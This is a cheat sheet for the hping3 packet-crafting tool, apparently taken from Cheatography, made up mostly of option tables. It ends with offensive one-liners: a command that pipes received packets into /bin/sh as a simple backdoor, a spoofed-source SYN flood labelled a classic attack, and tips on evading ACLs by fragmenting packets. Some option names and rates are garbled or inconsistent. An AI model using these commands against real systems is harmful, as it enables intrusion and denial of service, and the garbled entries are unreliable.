Hping3 Cheat Sheet

by myke670 via cheatography.com/149090/cs/32423/

Usage:

hping3 -h --help	show this help
hping3 -v --version	show version
hping3 -c --count	packet count
hping3 -i --interval	wait (uX for X microseconds, for example -i u1000)
hping3 --fast	alias for -i u1000 (10 packets for second)
hping3 --faster	alias for -i u1000 (100 packets for second)
hping3 --flood	sent packets as fast as possible. Dont show replies.
hping3 -n --numeric	numeric output
hping3 -q --quiet	quiet
hping3 -I --interface	interface name (otherwise default routing interface)
hping3 -V --verbose	verbose mode
hping 3 -D --debug	debugging info
hping3 -z --bind	bind ctrl+z to ttl (default to dst port)
hping3 -Z --unbind	unbind ctrl+z
hping3 --beep	beep for every matching packet received

For ICMP use:

hping3 -C --icmptype	icmp type (default echo request)
hping3 -K --icmpcode	icmp code (default 0)
hping3 --force-icmp	send all icmp types (default send only supported types)
hping3 --icmp-gw	set gateway address from ICP redirect (default 0.0.0.0)
hping3 --icmp-ts	Alias for --icmp --icmptype 13 (ICMP timestamp)
hping3 --icmp-addr	Alias for --icmp --icmptype 17 (ICMP address subnet mask)
hping3 --icmp-help	display help for others icmp options

ARS packet description (new, unstable)

--apd-send	Send the packet described with APD (see docs/APD.txt)

Fuzzing:

hping3 -2 [4.2.2.1] -P ++44444 -T -n	basis UPD traceroute fuzzing, if stuck press CTRL+Z to skip unresponsive hop.

Mode use: Default Mode TCP

hping3 -0 --rawip	RAW IP mode
hping3 -1 --icmp	ICMP mode
hping3 -2 --udp	UDP mode
hping3 -8 --scan	SCAN mode (Example: hping --scan 1-30,70-90 -S www.target.host
hping3 -9 --listen	listen mode

UDP/TCP parameters:

-s --base-report	base source port (default random)
-p --destport	[+][+]<port> destination port (default 0) ctrl+z inc/dec
-k --keep	keep still source port
-w --win	winsiz (deafult 64)
-O --tcpoff	set fake tcp data offset (insted of tcphdrlen /4)
-Q --seqnum	shows only tcp sequence number
-b --badcksum	(try to) send packets with a bad IP checksum, many systems will fix the IP checksum sending the packet so you'll get bad UDP/TCP checksum instead.
-M --setseq	set TCP sequence number

By **myke670**
cheatography.com/myke670/

Not published yet.
Last updated 10th June, 2022.

Hping3 Cheat Sheet

by myke670 via cheatography.com/149090/cs/32423/

UDP/TCP parameters: (cont)

-L --setack	set TCP ack
-F --fin	set FIN flag
-S --syn	set SYN flag
-R --rst	set RST flag
-P --push	set PUSH flag
-A --ack	set ACK flag
-U --urg	set URG flag
-X --xmas	set X unused flag (0x40)
-Y --ymas	set Y unused flag (0x80)
--tcpe-xitcode	use last tcp->th_flags as exit code
--tcp-mss	enable the TCP MSS option with the given value.
--tcp--tim-estamp	enable the TCP timestamp option to guess the HZ/uptime.

Sniffer:

hping3 -9 HTTP -I eth0	listening mode, intercept traffic going through our machine's network interface

Backdoor:

hpin3 -I eth1 -9 secret | /bin/sh	pipe receiving packets to /bin/sh in order to create a simple backdoor

For IP use:

-a --spoof	spoof source address
--rand-dest	random destination address mode.
--rand-source	random source address mode.
-t --ttl	ttl (default64)
-N --id	id (default random)
-W --winid	use win* id byte ordering
-r --rel	relativize id field (to estimate host traffic)
-f --frag	split packets in more frag. (may pass weak acl)
-x --morefrag	set more fragment flag
-y --dontfrag	set don't fragment flag
-g --fragoff	set the fragment offset
-m --mtu	set virtual mtu, implies --frag if packet size > mtu
-o --tos	type of service (default 0x00), try --tos help
-G --rroute	includes RECORD_ROUTE option and display the route buffer
--lsrr	loose source routing and record route
--ssrr	strict source routing and record route
-H --ipproto	set the IP protocol field, only in RAW IP mode

Common:

-d --data	data size
-E --file	dta fromfile
-e --sign	add 'signature'
-j --dump	dump packets in hex
-J --print	dump printable characters
-B --safe	enable 'safe' protocol
-u --end	tell you when --file reached EOF and prevent rewind
-T --trac-eroute	traceroute mode (implies --bind and --ttl 1)
--tr-stop	Exit when receive the first not ICMP in traceroute mode
--tr-k-eep-ttl	Keep the source TTL fixed, useful to monitor just one hop
--tr-no-rtt	Don't calculate/show RTT inform-ation in traceroute mode

File Transfer:

hping3 -1 [IP Addr] -9 signature -I eth0	transfer complete receiving files

Flooding:

hping3 -S [Target IP Addr] -a [IP Addr] -p 22 --flood	classic attack flooding